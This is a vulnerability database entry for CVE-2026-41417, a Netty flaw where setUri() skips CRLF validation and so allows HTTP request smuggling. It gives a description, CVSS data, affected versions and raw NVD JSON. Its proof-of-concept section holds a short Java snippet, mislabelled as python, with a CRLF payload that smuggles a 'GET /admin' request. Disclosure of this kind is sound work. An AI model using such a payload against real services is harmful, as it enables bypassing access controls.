Security Vulnerability Report
中文
CVE-2026-41417 CVSS 5.3 MEDIUM

CVE-2026-41417

Published: 2026-05-06 22:16:26
Last Modified: 2026-05-11 14:29:48

Description

Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:* - VULNERABLE
Netty 4.1.133.Final之前版本
Netty 4.2.13.Final之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpVersion; public class NettyCRLFPoC { public static void main(String[] args) { // Step 1: Create a valid legitimate request object DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/normal/path" ); // Step 2: Use setUri() to bypass the constructor's validation. // Injecting CRLF characters to split the request line and add a fake header. String maliciousUri = "/normal/path\r\nX-Injected-Header: malicious_value\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n"; request.setUri(maliciousUri); // Step 3: When this request is encoded by HttpRequestEncoder, // it will output the split line, potentially smuggling the second request. System.out.println("Request URI set to: " + request.uri()); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41417", "sourceIdentifier": "[email protected]", "published": "2026-05-06T22:16:25.780", "lastModified": "2026-05-11T14:29:48.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}, {"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.133", "matchCriteriaId": "DFE205A5-2C43-40C9-A2FF-CF6759B8D861"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.13", "matchCriteriaId": "D94A720F-9CED-4BE9-8C37-FD9E2FD28472"}]}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}